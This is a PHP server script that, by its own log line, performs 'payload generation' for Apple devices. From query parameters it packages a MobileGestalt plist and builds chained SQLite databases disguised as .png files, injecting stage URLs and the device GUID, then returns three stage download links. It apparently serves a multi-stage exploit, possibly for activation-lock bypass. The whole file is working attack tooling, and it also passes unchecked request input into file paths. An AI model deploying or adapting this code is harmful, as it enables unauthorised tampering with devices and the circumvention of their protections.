get2.php 5.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166
  1. <?php
  2. // Enable error reporting for debugging
  3. error_reporting(E_ALL);
  4. ini_set('display_errors', 0); // ← НЕ выводить ошибки в HTTP-ответ!
  5. function log_debug($msg, $level = 'INFO') {
  6. $timestamp = date('Y-m-d H:i:s');
  7. $line = "[$timestamp] [$level] $msg";
  8. error_log($line); // ← Только в error_log (консоль/файл)
  9. }
  10. // Function to generate random directory name
  11. function generateRandomName($length = 16) {
  12. return bin2hex(random_bytes($length / 2));
  13. }
  14. // Function to read SQL dump from .png file
  15. function readSQLDump($filename) {
  16. if (!file_exists($filename)) {
  17. log_debug("File not found: $filename", "ERROR");
  18. die("Error: File $filename not found");
  19. }
  20. return file_get_contents($filename);
  21. }
  22. // Function to create SQLite database from SQL dump
  23. function createSQLiteFromDump($sqlDump, $outputFile) {
  24. try {
  25. $sqlDump = preg_replace_callback(
  26. "/unistr\s*\(\s*['\"]([^'\"]*)['\"]\\s*\)/i",
  27. function($matches) {
  28. $str = $matches[1];
  29. $str = preg_replace_callback(
  30. '/\\\\([0-9A-Fa-f]{4})/',
  31. function($m) {
  32. return mb_convert_encoding(pack('H*', $m[1]), 'UTF-8', 'UCS-2BE');
  33. },
  34. $str
  35. );
  36. return "'" . str_replace("'", "''", $str) . "'";
  37. },
  38. $sqlDump
  39. );
  40. $sqlDump = preg_replace("/unistr\s*\(\s*(['\"][^'\"]*['\"])\s*\)/i", "$1", $sqlDump);
  41. $db = new SQLite3($outputFile);
  42. $statements = explode(';', $sqlDump);
  43. foreach ($statements as $statement) {
  44. $statement = trim($statement);
  45. if (!empty($statement) && strlen($statement) > 5) {
  46. @$db->exec($statement . ';');
  47. }
  48. }
  49. $db->close();
  50. return true;
  51. } catch (Exception $e) {
  52. log_debug("SQLite creation failed: " . $e->getMessage(), "ERROR");
  53. die("Error creating SQLite database");
  54. }
  55. }
  56. log_debug("=== STARTING PAYLOAD GENERATION ===");
  57. $prd = $_GET['prd'] ?? '';
  58. $guid = $_GET['guid'] ?? '';
  59. $sn = $_GET['sn'] ?? '';
  60. if (empty($prd) || empty($guid) || empty($sn)) {
  61. log_debug("Missing params: prd='$prd', guid='$guid', sn='$sn'", "ERROR");
  62. http_response_code(400);
  63. echo json_encode(['success' => false, 'error' => 'Missing prd, guid, or sn']);
  64. exit;
  65. }
  66. $prdFormatted = str_replace(',', '-', $prd);
  67. $basePath = __DIR__;
  68. $plistPath = "$basePath/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
  69. log_debug("Trying plist: $plistPath");
  70. if (!file_exists($plistPath)) {
  71. $altPath1 = "$basePath/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
  72. $altPath2 = $_SERVER['DOCUMENT_ROOT'] . "/bee33/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
  73. if (file_exists($altPath1)) {
  74. $plistPath = $altPath1;
  75. } elseif (file_exists($altPath2)) {
  76. $plistPath = $altPath2;
  77. } else {
  78. log_debug("Plist not found. Tried: $plistPath, $altPath1, $altPath2", "ERROR");
  79. http_response_code(500);
  80. echo json_encode(['success' => false, 'error' => 'Plist not found']);
  81. exit;
  82. }
  83. }
  84. $realPlistPath = realpath($plistPath);
  85. log_debug("✅ Using plist: $realPlistPath (size: " . filesize($realPlistPath) . " bytes)");
  86. // --- Создание stage1 ---
  87. $randomName1 = generateRandomName();
  88. $firstStepDir = "$basePath/firststp/$randomName1";
  89. mkdir($firstStepDir, 0755, true);
  90. $zipPath = "$firstStepDir/temp.zip";
  91. $zip = new ZipArchive();
  92. if (!$zip->open($zipPath, ZipArchive::CREATE)) {
  93. log_debug("Failed to create ZIP", "ERROR");
  94. http_response_code(500);
  95. echo json_encode(['success' => false, 'error' => 'ZIP creation failed']);
  96. exit;
  97. }
  98. $zip->addFile($plistPath, "Caches/com.apple.MobileGestalt.plist");
  99. $zip->close();
  100. $fixedFilePath = "$firstStepDir/fixedfile";
  101. rename($zipPath, $fixedFilePath);
  102. log_debug("✅ fixedfile created: $fixedFilePath");
  103. // --- URLs ---
  104. $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] ? "https" : "http";
  105. $baseUrl = "$protocol://$_SERVER[HTTP_HOST]";
  106. $fixedFileUrl = "$baseUrl/firststp/$randomName1/fixedfile";
  107. // BLDatabaseManager
  108. $blDump = readSQLDump("$basePath/BLDatabaseManager.png");
  109. $blDump = str_replace('KEYOOOOOO', $fixedFileUrl, $blDump);
  110. $randomName2 = generateRandomName();
  111. $secondStepDir = "$basePath/2ndd/$randomName2";
  112. mkdir($secondStepDir, 0755, true);
  113. $blSqlite = "$secondStepDir/BLDatabaseManager.sqlite";
  114. createSQLiteFromDump($blDump, $blSqlite);
  115. rename($blSqlite, "$secondStepDir/belliloveu.png");
  116. $blUrl = "$baseUrl/2ndd/$randomName2/belliloveu.png";
  117. // downloads.28
  118. $dlDump = readSQLDump("$basePath/downloads.28.png");
  119. $dlDump = str_replace('https://google.com', $blUrl, $dlDump);
  120. $dlDump = str_replace('GOODKEY', $guid, $dlDump);
  121. $randomName3 = generateRandomName();
  122. $lastStepDir = "$basePath/last/$randomName3";
  123. mkdir($lastStepDir, 0755, true);
  124. $finalDb = "$lastStepDir/downloads.sqlitedb";
  125. createSQLiteFromDump($dlDump, $finalDb);
  126. rename($finalDb, "$lastStepDir/apllefuckedhhh.png");
  127. $finalUrl = "$baseUrl/last/$randomName3/apllefuckedhhh.png";
  128. log_debug("✅ All stages generated.");
  129. // ✅ Только JSON в HTTP-ответ:
  130. echo json_encode([
  131. 'success' => true,
  132. 'parameters' => compact('prd', 'guid', 'sn'),
  133. 'links' => [
  134. 'step1_fixedfile' => $fixedFileUrl,
  135. 'step2_bldatabase' => $blUrl,
  136. 'step3_final' => $finalUrl
  137. ],
  138. 'debug' => [
  139. 'plist_used' => $realPlistPath,
  140. 'plist_size' => filesize($realPlistPath)
  141. ]
  142. ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
  143. ?>